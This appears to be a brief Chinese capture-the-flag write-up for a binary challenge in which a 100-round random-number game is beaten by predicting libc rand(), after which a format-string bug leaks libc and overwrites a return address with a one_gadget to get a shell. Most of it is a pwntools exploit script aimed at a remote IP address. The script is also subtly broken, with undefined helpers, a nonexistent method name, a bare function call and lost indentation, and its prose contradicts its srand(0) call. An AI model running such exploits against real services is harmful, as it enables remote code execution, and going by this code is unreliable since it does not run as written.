绿
界面简单
玩一百把随机数游戏
打赢给一个格式化字符串
重点就是过那个随机数嘛 计算机的随机数始终都是伪随机 它的种子是时间 它种子的时间是秒为单位
我们只要在它启动的时候 我们也启动我们的脚本,也开始用时间种子随机
只要我们跟他的时间不超过1s 我们就可以完全拿到它所谓的随机数
就很轻松的过了游戏 然后格式化字符串泄露libc改main返回地址为ong_gadget就可以了
exp
from pwn import *
from ctypes import *
r = remote("120.25.205.249",30311)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc_rand = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
r.sendlineafter("Please input your name:", b'a'*0x100+p64(0))
libc_rand.srand(0)
for i in range(100):
ru("round {}: \n".format(i+1))
num = libc_rand.rand()
if (num%3) == 1:
r.sendline('2')
if (num%3) == 2:
r.sendline('0')
if (num%3) == 0:
r.sendline('1')
r.senduntil("Good luck to you.", '%9$lx%50c%8$hhn'.ljust(0x10,'a')+'\x78')
r.recvuntil('\n')
libc_base = int(rv(12),16) - 0x61d6f
r.recvuntil('a')
stack_addr = u64(ru('\x7f')[-6:].ljust(8,b'\x00'))
one_gadget = libc_base + 0xe3b31
payload = fmtstr_payload(6, {stack_addr: one_gadget})
sendlineafter("Good luck to you.", payload)
r.interactive()
|